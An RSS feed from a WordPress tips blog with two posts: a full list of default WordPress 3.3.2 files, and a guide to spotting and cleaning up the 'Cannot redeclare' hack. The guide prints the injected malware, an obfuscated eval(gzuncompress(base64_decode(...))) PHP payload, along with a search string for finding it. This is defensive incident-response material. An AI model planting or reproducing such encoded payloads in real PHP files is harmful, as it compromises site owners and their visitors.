<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; Security</title>
	<atom:link href="http://digwp.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Fri, 18 May 2012 18:21:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Complete List of Default WordPress Files</title>
		<link>http://digwp.com/2012/05/complete-list-wordpress-files/</link>
		<comments>http://digwp.com/2012/05/complete-list-wordpress-files/#comments</comments>
		<pubDate>Thu, 03 May 2012 19:34:12 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[files]]></category>
		<category><![CDATA[reference]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=6035</guid>
		<description><![CDATA[When cleaning up hacked sites and testing .htaccess tricks, it&#8217;s nice to have a list of WordPress directory and file names for checking patterns and finding strings directly via Search/Find. Especially when working remotely, having a complete list of WordPress files available online can help expedite the attack-recovery process. The official Codex page lists some [...]]]></description>
			<content:encoded><![CDATA[<p>When cleaning up hacked sites and testing <a href="http://perishablepress.com/category/web-design/htaccess/" title=".htaccess archive @ Perishable Press">.htaccess tricks</a>, it&#8217;s nice to have a list of WordPress directory and file names for checking patterns and finding strings directly via Search/Find. Especially when working remotely, having a <strong>complete list of WordPress files</strong> available online can help expedite the attack-recovery process.</p>
<p><span id="more-6035"></span></p>
<p>The official <a href="http://codex.wordpress.org/WordPress_Files" title="Codex: WordPress Files">Codex page</a> lists <em>some</em> important files, but only for <abbr title="WordPress">WP</abbr> version 2.x and doesn&#8217;t seem to list files located in all sub-directories. Sure it&#8217;s not the most exciting topic in the world, but it&#8217;s always good practice to <em>know thy files</em>. You get to see the bigger picture and gain a better understanding of how <em>much</em> stuff actually is included in WordPress &mdash; <em>especially</em> if you start digging around in the <code>/wp-includes/</code> directory.. bring a snack, knife, and some flint to improve your chances.</p>
<p>We&#8217;re looking at default download/unzip of <strong>WordPress version 3.3.2</strong> &mdash; a complete list of all files in all directories in alphabetical order. Here&#8217;s the roadmap:</p>
<ul>
<li><a href="#wp-structure">directory structure (without files)</a></li>
<li><a href="#wp-root">WordPress root-level files</a></li>
<li><a href="#wp-admin">files in the <code>/wp-admin/</code> directory</a></li>
<li><a href="#wp-content">files in the <code>/wp-content/</code> directory</a></li>
<li><a href="#wp-includes">files in the <code>/wp-includes/</code> directory</a></li>
</ul>
<h3 id="wp-structure">Basic WordPress directory structure</h3>
<pre><code>/wordpress/

	/wp-admin/
		/css/
		/images/
		/includes/
		/js/
		/maint/
		/network/
		/user/

	/wp-content/
		/plugins/
			/akismet/
		/themes/
			/twentyeleven/
				/colors/
				/images/
				/inc/
					/images/
				/js/
				/languages/
			/twentyten/
				/images/
					/headers/
				/languages/
	
	/wp-includes/
		/Text/
		/css/
		/images/
			/crystal/
			/smilies/
			/wlw/
		/js/
			/crop/
			/imgareaselect/
			/jcrop/
			/jquery/
				/ui/
			/plupload/
			/scriptaculous/
			/swfupload/
				/plugins/
			/thickbox/
			/tinymce/
				/langs/
				/plugins/
					/directionality/
					/fullscreen/
					/inlinepopups/
						/skins/
							/clearlooks2/
								/img/
					/media/
						/css/
						/js/
					/paste/
						/js/
					/spellchecker/
						/classes/
							/utils/
						/css/
						/img/
						/includes/
					/tabfocus/
					/wordpress/
						/css/
						/img/
					/wpdialogs/
						/js/
					/wpeditimage/
						/css/
						/img/
						/js/
					/wpfullscreen/
					/wpgallery/
						/img/
					/wplink/
				/themes/
					/advanced/
						/img/
						/js/
						/skins/
							/default/
								/img/
							/highcontrast/
							/o2k7/
								/img/
							/wp_theme/
								/img/
				/utils/
		/pomo/
		/theme-compat/</code></pre>
<h3 id="wp-root">Root-level WordPress files</h3>
<pre><code>/wordpress/
	index.php
	license.txt
	readme.html
	wp-activate.php
	wp-app.php
	wp-blog-header.php
	wp-comments-post.php
	wp-config-sample.php
	wp-cron.php
	wp-links-opml.php
	wp-load.php
	wp-login.php
	wp-mail.php
	wp-pass.php
	wp-register.php
	wp-settings.php
	wp-signup.php
	wp-trackback.php
	xmlrpc.php</code></pre>
<h3 id="wp-admin">Files in the /wp-admin/ directory</h3>
<pre><code>/wp-admin/
	about.php
	admin-ajax.php
	admin-footer.php
	admin-functions.php
	admin-header.php
	admin-post.php
	admin.php
	async-upload.php
	comment.php
	credits.php
	/css/
		colors-classic.css
		colors-classic.dev.css
		colors-fresh.css
		colors-fresh.dev.css
		farbtastic.css
		file-list.txt
		ie-rtl.css
		ie-rtl.dev.css
		ie.css
		ie.dev.css
		install.css
		install.dev.css
		media-rtl.css
		media-rtl.dev.css
		media.css
		media.dev.css
		wp-admin-rtl.css
		wp-admin-rtl.dev.css
		wp-admin.css
		wp-admin.dev.css
	custom-background.php
	custom-header.php
	edit-comments.php
	edit-form-advanced.php
	edit-form-comment.php
	edit-link-form.php
	edit-tag-form.php
	edit-tags.php
	edit.php
	export.php
	freedoms.php
	gears-manifest.php
	/images/
		align-center.png
		align-left.png
		align-none.png
		align-right.png
		archive-link.png
		arrows-dark-vs.png
		arrows-dark.png
		arrows-vs.png
		arrows.png
		blue-grad.png
		bubble_bg-rtl.gif
		bubble_bg.gif
		button-grad-active.png
		button-grad.png
		comment-grey-bubble.png
		date-button.gif
		ed-bg-vs.gif
		ed-bg.gif
		fade-butt.png
		fav-arrow-rtl.gif
		fav-arrow.gif
		fav-vs.png
		fav.png
		generic.png
		gray-grad.png
		gray-star.png
		icons32-vs.png
		icons32.png
		imgedit-icons.png
		list.png
		loading-publish.gif
		loading.gif
		logo-ghost.png
		logo-login.png
		logo.gif
		marker.png
		mask.png
		media-button-image.gif
		media-button-music.gif
		media-button-other.gif
		media-button-video.gif
		media-button.png
		menu-arrow-frame-rtl.png
		menu-arrow-frame.png
		menu-arrows.gif
		menu-bits-rtl-vs.gif
		menu-bits-rtl.gif
		menu-bits-vs.gif
		menu-bits.gif
		menu-dark-rtl-vs.gif
		menu-dark-rtl.gif
		menu-dark-vs.gif
		menu-dark.gif
		menu-shadow-rtl.png
		menu-shadow.png
		menu-vs.png
		menu.png
		no.png
		press-this.png
		required.gif
		resize-rtl.gif
		resize.gif
		screen-options-toggle-vs.gif
		screen-options-toggle.gif
		screenshots
		se.png
		sort.gif
		star.png
		toggle-arrow-rtl.gif
		toggle-arrow.gif
		upload-classic.png
		upload-fresh.png
		wheel.png
		white-grad-active.png
		white-grad.png
		widgets-arrow-vs.gif
		widgets-arrow.gif
		wordpress-logo.png
		wp-badge.png
		wp-logo-vs.png
		wp-logo.png
		wpspin_dark.gif
		wpspin_light.gif
		xit.gif
		yes.png
	import.php
	/includes/
		admin.php
		bookmark.php
		class-ftp-pure.php
		class-ftp-sockets.php
		class-ftp.php
		class-pclzip.php
		class-wp-comments-list-table.php
		class-wp-filesystem-base.php
		class-wp-filesystem-direct.php
		class-wp-filesystem-ftpext.php
		class-wp-filesystem-ftpsockets.php
		class-wp-filesystem-ssh2.php
		class-wp-importer.php
		class-wp-links-list-table.php
		class-wp-list-table.php
		class-wp-media-list-table.php
		class-wp-ms-sites-list-table.php
		class-wp-ms-themes-list-table.php
		class-wp-ms-users-list-table.php
		class-wp-plugin-install-list-table.php
		class-wp-plugins-list-table.php
		class-wp-posts-list-table.php
		class-wp-terms-list-table.php
		class-wp-theme-install-list-table.php
		class-wp-themes-list-table.php
		class-wp-upgrader.php
		class-wp-users-list-table.php
		comment.php
		continents-cities.php
		dashboard.php
		deprecated.php
		export.php
		file.php
		image-edit.php
		image.php
		import.php
		list-table.php
		manifest.php
		media.php
		menu.php
		meta-boxes.php
		misc.php
		ms-deprecated.php
		ms.php
		nav-menu.php
		plugin-install.php
		plugin.php
		post.php
		schema.php
		screen.php
		taxonomy.php
		template.php
		theme-install.php
		theme.php
		update-core.php
		update.php
		upgrade.php
		user.php
		widgets.php
	index-extra.php
	index.php
	install-helper.php
	install.php
	/js/
		cat.dev.js
		cat.js
		categories.dev.js
		categories.js
		comment.dev.js
		comment.js
		common.dev.js
		common.js
		custom-background.dev.js
		custom-background.js
		custom-fields.dev.js
		custom-fields.js
		dashboard.dev.js
		dashboard.js
		edit-comments.dev.js
		edit-comments.js
		editor.dev.js
		editor.js
		farbtastic.js
		gallery.dev.js
		gallery.js
		image-edit.dev.js
		image-edit.js
		inline-edit-post.dev.js
		inline-edit-post.js
		inline-edit-tax.dev.js
		inline-edit-tax.js
		link.dev.js
		link.js
		media-upload.dev.js
		media-upload.js
		media.dev.js
		media.js
		nav-menu.dev.js
		nav-menu.js
		password-strength-meter.dev.js
		password-strength-meter.js
		plugin-install.dev.js
		plugin-install.js
		post.dev.js
		post.js
		postbox.dev.js
		postbox.js
		revisions-js.php
		set-post-thumbnail.dev.js
		set-post-thumbnail.js
		tags.dev.js
		tags.js
		theme-preview.dev.js
		theme-preview.js
		theme.dev.js
		theme.js
		user-profile.dev.js
		user-profile.js
		utils.dev.js
		utils.js
		widgets.dev.js
		widgets.js
		word-count.dev.js
		word-count.js
		wp-fullscreen.dev.js
		wp-fullscreen.js
		xfn.dev.js
		xfn.js
	link-add.php
	link-manager.php
	link-parse-opml.php
	link.php
	load-scripts.php
	load-styles.php
	/maint/
		repair.php
	media-new.php
	media-upload.php
	media.php
	menu-header.php
	menu.php
	moderation.php
	ms-admin.php
	ms-delete-site.php
	ms-edit.php
	ms-options.php
	ms-sites.php
	ms-themes.php
	ms-upgrade-network.php
	ms-users.php
	my-sites.php
	nav-menus.php
	/network/
		admin.php
		edit.php
		index-extra.php
		index.php
		menu.php
		plugin-editor.php
		plugin-install.php
		plugins.php
		profile.php
		settings.php
		setup.php
		site-info.php
		site-new.php
		site-settings.php
		site-themes.php
		site-users.php
		sites.php
		theme-editor.php
		theme-install.php
		themes.php
		update-core.php
		update.php
		upgrade.php
		user-edit.php
		user-new.php
		users.php
	network.php
	options-discussion.php
	options-general.php
	options-head.php
	options-media.php
	options-permalink.php
	options-privacy.php
	options-reading.php
	options-writing.php
	options.php
	plugin-editor.php
	plugin-install.php
	plugins.php
	post-new.php
	post.php
	press-this.php
	profile.php
	revision.php
	setup-config.php
	theme-editor.php
	theme-install.php
	themes.php
	tools.php
	update-core.php
	update.php
	upgrade-functions.php
	upgrade.php
	upload.php
	/user/
		admin.php
		index-extra.php
		index.php
		menu.php
		profile.php
		user-edit.php
	user-edit.php
	user-new.php
	users.php
	widgets.php</code></pre>
<h3 id="wp-content">Files in the /wp-content/ directory</h3>
<pre><code>/wp-content/
	index.php
	/plugins/
		/akismet/
			admin.php
			akismet.css
			akismet.gif
			akismet.js
			akismet.php
			legacy.php
			readme.txt
			widget.php
		hello.php
		index.php
	/themes/
		index.php
		/twentyeleven/
			404.php
			archive.php
			author.php
			category.php
			/colors/
				dark.css
			comments.php
			content-aside.php
			content-featured.php
			content-gallery.php
			content-image.php
			content-intro.php
			content-link.php
			content-page.php
			content-quote.php
			content-single.php
			content-status.php
			content.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			image.php
			/images/
				comment-arrow-bypostauthor-dark-rtl.png
				comment-arrow-bypostauthor-dark.png
				comment-arrow-bypostauthor-rtl.png
				comment-arrow-bypostauthor.png
				comment-arrow-dark-rtl.png
				comment-arrow-dark.png
				comment-arrow-rtl.png
				comment-arrow.png
				comment-bubble-dark-rtl.png
				comment-bubble-dark.png
				comment-bubble-rtl.png
				comment-bubble.png
				headers
				search.png
				wordpress.png
			/inc/
				/images/
					content-sidebar.png
					content.png
					dark.png
					light.png
					sidebar-content.png
				theme-options.css
				theme-options.js
				theme-options.php
				widgets.php
			index.php
			/js/
				html5.js
				showcase.js
			/languages/
				twentyeleven.pot
			license.txt
			page.php
			readme.txt
			rtl.css
			screenshot.png
			search.php
			searchform.php
			showcase.php
			sidebar-footer.php
			sidebar-page.php
			sidebar.php
			single.php
			style.css
			tag.php
		/twentyten/
			404.php
			archive.php
			attachment.php
			author.php
			category.php
			comments.php
			editor-style-rtl.css
			editor-style.css
			footer.php
			functions.php
			header.php
			/images/
				/headers/
					berries-thumbnail.jpg
					berries.jpg
					cherryblossoms-thumbnail.jpg
					cherryblossoms.jpg
					concave-thumbnail.jpg
					concave.jpg
					fern-thumbnail.jpg
					fern.jpg
					forestfloor-thumbnail.jpg
					forestfloor.jpg
					inkwell-thumbnail.jpg
					inkwell.jpg
					path-thumbnail.jpg
					path.jpg
					sunset-thumbnail.jpg
					sunset.jpg
				wordpress.png
			index.php
			/languages/
				twentyten.pot
			license.txt
			loop-attachment.php
			loop-page.php
			loop-single.php
			loop.php
			onecolumn-page.php
			page.php
			rtl.css
			screenshot.png
			search.php
			sidebar-footer.php
			sidebar.php
			single.php
			style.css
			tag.php</code></pre>
<h3 id="wp-includes">Files in the /wp-includes/ directory</h3>
<pre><code>/wp-includes/
	/Text/
		Diff
		Diff.php
	admin-bar.php
	atomlib.php
	author-template.php
	bookmark-template.php
	bookmark.php
	cache.php
	canonical.php
	capabilities.php
	category-template.php
	category.php
	class-IXR.php
	class-feed.php
	class-http.php
	class-json.php
	class-oembed.php
	class-phpass.php
	class-phpmailer.php
	class-pop3.php
	class-simplepie.php
	class-smtp.php
	class-snoopy.php
	class-wp-admin-bar.php
	class-wp-ajax-response.php
	class-wp-editor.php
	class-wp-error.php
	class-wp-http-ixr-client.php
	class-wp-walker.php
	class-wp-xmlrpc-server.php
	class-wp.php
	class.wp-dependencies.php
	class.wp-scripts.php
	class.wp-styles.php
	comment-template.php
	comment.php
	compat.php
	cron.php
	/css/
		admin-bar-rtl.css
		admin-bar-rtl.dev.css
		admin-bar.css
		admin-bar.dev.css
		editor-buttons.css
		editor-buttons.dev.css
		jquery-ui-dialog.css
		jquery-ui-dialog.dev.css
		wp-pointer.css
		wp-pointer.dev.css
	default-constants.php
	default-filters.php
	default-widgets.php
	deprecated.php
	feed-atom-comments.php
	feed-atom.php
	feed-rdf.php
	feed-rss.php
	feed-rss2-comments.php
	feed-rss2.php
	feed.php
	formatting.php
	functions.php
	functions.wp-scripts.php
	functions.wp-styles.php
	general-template.php
	http.php
	/images/
		admin-bar-sprite.png
		arrow-pointer-blue.png
		blank.gif
		/crystal/
			archive.png
			audio.png
			code.png
			default.png
			document.png
			interactive.png
			license.txt
			spreadsheet.png
			text.png
			video.png
		down_arrow.gif
		icon-pointer-flag.png
		rss.png
		/smilies/
			icon_arrow.gif
			icon_biggrin.gif
			icon_confused.gif
			icon_cool.gif
			icon_cry.gif
			icon_eek.gif
			icon_evil.gif
			icon_exclaim.gif
			icon_idea.gif
			icon_lol.gif
			icon_mad.gif
			icon_mrgreen.gif
			icon_neutral.gif
			icon_question.gif
			icon_razz.gif
			icon_redface.gif
			icon_rolleyes.gif
			icon_sad.gif
			icon_smile.gif
			icon_surprised.gif
			icon_twisted.gif
			icon_wink.gif
		toggle-arrow.png
		upload.png
		/wlw/
			wp-comments.png
			wp-icon.png
			wp-watermark.png
		wpicons.png
		wpmini-blue.png
		xit.gif
	/js/
		admin-bar.dev.js
		admin-bar.js
		autosave.dev.js
		autosave.js
		colorpicker.dev.js
		colorpicker.js
		comment-reply.dev.js
		comment-reply.js
		/crop/
			cropper.css
			cropper.js
			marqueeHoriz.gif
			marqueeVert.gif
		hoverIntent.dev.js
		hoverIntent.js
		/imgareaselect/
			border-anim-h.gif
			border-anim-v.gif
			imgareaselect.css
			jquery.imgareaselect.dev.js
			jquery.imgareaselect.js
		/jcrop/
			Jcrop.gif
			jquery.Jcrop.css
			jquery.Jcrop.dev.js
			jquery.Jcrop.js
		/jquery/
			jquery.color.dev.js
			jquery.color.js
			jquery.form.dev.js
			jquery.form.js
			jquery.hotkeys.dev.js
			jquery.hotkeys.js
			jquery.js
			jquery.query.js
			jquery.schedule.js
			jquery.serialize-object.js
			jquery.table-hotkeys.dev.js
			jquery.table-hotkeys.js
			suggest.dev.js
			suggest.js
			/ui/
				jquery.effects.blind.min.js
				jquery.effects.bounce.min.js
				jquery.effects.clip.min.js
				jquery.effects.core.min.js
				jquery.effects.drop.min.js
				jquery.effects.explode.min.js
				jquery.effects.fade.min.js
				jquery.effects.fold.min.js
				jquery.effects.highlight.min.js
				jquery.effects.pulsate.min.js
				jquery.effects.scale.min.js
				jquery.effects.shake.min.js
				jquery.effects.slide.min.js
				jquery.effects.transfer.min.js
				jquery.ui.accordion.min.js
				jquery.ui.autocomplete.min.js
				jquery.ui.button.min.js
				jquery.ui.core.min.js
				jquery.ui.datepicker.min.js
				jquery.ui.dialog.min.js
				jquery.ui.draggable.min.js
				jquery.ui.droppable.min.js
				jquery.ui.mouse.min.js
				jquery.ui.position.min.js
				jquery.ui.progressbar.min.js
				jquery.ui.resizable.min.js
				jquery.ui.selectable.min.js
				jquery.ui.slider.min.js
				jquery.ui.sortable.min.js
				jquery.ui.tabs.min.js
				jquery.ui.widget.min.js
		json2.dev.js
		json2.js
		/plupload/
			changelog.txt
			handlers.dev.js
			handlers.js
			license.txt
			plupload.flash.js
			plupload.flash.swf
			plupload.html4.js
			plupload.html5.js
			plupload.js
			plupload.silverlight.js
			plupload.silverlight.xap
		prototype.js
		quicktags.dev.js
		quicktags.js
		/scriptaculous/
			MIT-LICENSE
			builder.js
			controls.js
			dragdrop.js
			effects.js
			scriptaculous.js
			slider.js
			sound.js
			unittest.js
			wp-scriptaculous.js
		swfobject.js
		/swfupload/
			handlers.dev.js
			handlers.js
			license.txt
			/plugins/
				swfupload.cookies.js
				swfupload.queue.js
				swfupload.speed.js
				swfupload.swfobject.js
			swfupload-all.js
			swfupload.js
			swfupload.swf
		/thickbox/
			loadingAnimation.gif
			macFFBgHack.png
			tb-close.png
			thickbox.css
			thickbox.js
		/tinymce/
			/langs/
				wp-langs-en.js
				wp-langs.php
			license.txt
			/plugins/
				/directionality/
					editor_plugin.js
				/fullscreen/
					editor_plugin.js
					fullscreen.htm
				/inlinepopups/
					editor_plugin.js
					/skins/
						/clearlooks2/
							/img/
								alert.gif
								button.gif
								buttons.gif
								confirm.gif
								corners.gif
								drag.gif
								horizontal.gif
								vertical.gif
							window.css
					template.htm
				/media/
					/css/
						media.css
					editor_plugin.js
					/js/
						embed.js
						media.js
					media.htm
					moxieplayer.swf
				/paste/
					blank.htm
					editor_plugin.js
					/js/
						pastetext.js
						pasteword.js
					pastetext.htm
					pasteword.htm
				/spellchecker/
					changelog.txt
					/classes/
						EnchantSpell.php
						GoogleSpell.php
						PSpell.php
						PSpellShell.php
						SpellChecker.php
						/utils/
							JSON.php
							Logger.php
					config.php
					/css/
						content.css
					editor_plugin.js
					/img/
						wline.gif
					/includes/
						general.php
					rpc.php
				/tabfocus/
					editor_plugin.js
				/wordpress/
					/css/
						content.css
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						audio.gif
						embedded.png
						image.gif
						media.gif
						more_bug.gif
						page.gif
						page_bug.gif
						trans.gif
						video.gif
				/wpdialogs/
					editor_plugin.dev.js
					editor_plugin.js
					/js/
						popup.dev.js
						popup.js
						wpdialog.dev.js
						wpdialog.js
				/wpeditimage/
					/css/
						editimage-rtl.css
						editimage.css
					editimage.html
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						image.png
					/js/
						editimage.dev.js
						editimage.js
				/wpfullscreen/
					editor_plugin.js
					fullscreen.htm
				/wpgallery/
					editor_plugin.dev.js
					editor_plugin.js
					/img/
						delete.png
						edit.png
						gallery.png
						t.gif
				/wplink/
					editor_plugin.dev.js
					editor_plugin.js
			/themes/
				/advanced/
					about.htm
					anchor.htm
					charmap.htm
					color_picker.htm
					editor_template.js
					image.htm
					/img/
						colorpicker.jpg
						flash.gif
						gotmoxie.png
						icons.gif
						iframe.gif
						pagebreak.gif
						quicktime.gif
						realmedia.gif
						shockwave.gif
						trans.gif
						video.gif
						windowsmedia.gif
					/js/
						about.js
						anchor.js
						charmap.js
						color_picker.js
						image.js
						link.js
						source_editor.js
					link.htm
					shortcuts.htm
					/skins/
						/default/
							content.css
							dialog.css
							/img/
								buttons.png
								items.gif
								menu_arrow.gif
								menu_check.gif
								progress.gif
								tabs.gif
							ui.css
						/highcontrast/
							content.css
							dialog.css
							ui.css
						/o2k7/
							content.css
							dialog.css
							/img/
								button_bg.png
								button_bg_black.png
								button_bg_silver.png
							ui.css
							ui_black.css
							ui_silver.css
						/wp_theme/
							content.css
							dialog.css
							/img/
								tabs.gif
							ui.css
					source_editor.htm
			tiny_mce.js
			tiny_mce_popup.js
			/utils/
				editable_selects.js
				form_utils.js
				mctabs.js
				validate.js
			wp-mce-help.php
			wp-tinymce.js.gz
			wp-tinymce.php
		tw-sack.dev.js
		tw-sack.js
		wp-ajax-response.dev.js
		wp-ajax-response.js
		wp-list-revisions.dev.js
		wp-list-revisions.js
		wp-lists.dev.js
		wp-lists.js
		wp-pointer.dev.js
		wp-pointer.js
		wplink.dev.js
		wplink.js
	kses.php
	l10n.php
	link-template.php
	load.php
	locale.php
	media.php
	meta.php
	ms-blogs.php
	ms-default-constants.php
	ms-default-filters.php
	ms-deprecated.php
	ms-files.php
	ms-functions.php
	ms-load.php
	ms-settings.php
	nav-menu-template.php
	nav-menu.php
	pluggable-deprecated.php
	pluggable.php
	plugin.php
	/pomo/
		entry.php
		mo.php
		po.php
		streams.php
		translations.php
	post-template.php
	post-thumbnail-template.php
	post.php
	query.php
	registration-functions.php
	registration.php
	rewrite.php
	rss-functions.php
	rss.php
	script-loader.php
	shortcodes.php
	taxonomy.php
	template-loader.php
	/theme-compat/
		comments-popup.php
		comments.php
		footer.php
		header.php
		sidebar.php
	theme.php
	update.php
	user.php
	vars.php
	version.php
	widgets.php
	wlwmanifest.xml
	wp-db.php
	wp-diff.php</code></pre>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/05/complete-list-wordpress-files/">Permalink</a> | <a href="http://digwp.com/2012/05/complete-list-wordpress-files/#comments">25 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/05/complete-list-wordpress-files/&title=Complete List of Default WordPress Files">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/files/" rel="tag">files</a>, <a href="http://digwp.com/tag/reference/" rel="tag">reference</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/05/complete-list-wordpress-files/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Clean Up &#8220;Cannot redeclare&#8221; Hack</title>
		<link>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/</link>
		<comments>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 22:44:09 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5411</guid>
		<description><![CDATA[One of my clients was hacked with the so-called &#8220;Cannot redeclare&#8221; hack. It seems closely related to the nefarious TimThumb hack, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients was hacked with the so-called <a href="http://www.victorciobanu.com/how-to-remove-cannot-redeclare/">&#8220;Cannot redeclare&#8221; hack</a>. It seems closely related to the nefarious <a href="http://blog.sucuri.net/2011/10/timthumb-php-mass-infection-aftermath-part-i.html">TimThumb hack</a>, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect <strong>shared servers</strong>, so if you host <em>multiple</em> WordPress sites, chances are high that they&#8217;re <em>all</em> infected.</p>
<p><span id="more-5411"></span></p>
<h3>Checking for the &#8220;Cannot redeclare&#8221; hack</h3>
<p>The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:</p>
<pre><code>Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1</code></pre>
<p>PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server&#8217;s PHP error logs for the &#8220;Cannot redeclare&#8221; error string. If you find anything that matches, it&#8217;s time to fix your site..</p>
<h3>About the &#8220;Cannot redeclare&#8221; hack</h3>
<p>If your site&#8217;s been hit with &#8220;Cannot redeclare&#8221;, you&#8217;re in for a wild clean-up party because it infects <em>every</em> <code>index.php</code> and <code>footer.php</code> file for <em>every</em> WordPress site on the server. </p>
<p>For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client&#8217;s sites have been moved to a more secure location.</p>
<p>Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:</p>
<p><strong><code>eval(gzun</code></strong></p>
<p>Here is a screenshot showing search results for this phrase:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-01.gif" alt="[ screenshot of search results ]" /></p>
<p>As seen here, the hacked files should be easy to recognize because they:</p>
<ul>
<li>include the <code>eval(gzun</code> search term</li>
<li>include long strings of encoded gibberish</li>
<li>consist of <code>index.php</code> and <code>footer.php</code> files</li>
</ul>
<p>If your search turns up anything that similar but not quite what we&#8217;re talking about here, it may or may not be legit. The main thing that we&#8217;re looking for are the <em>long strings of encoded nonsense</em>. Also, remember to check <em>all</em> sites that you may have on the same server. Once you&#8217;ve isolated the infected files, it&#8217;s time to clean &#8216;em up..</p>
<h3>Removing the &#8220;Cannot redeclare&#8221; hack</h3>
<p>Looking at any of the hacked files, you&#8217;ll find this hideous looking piece of code garbage:</p>
<pre><code>&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?&gt;</code></pre>
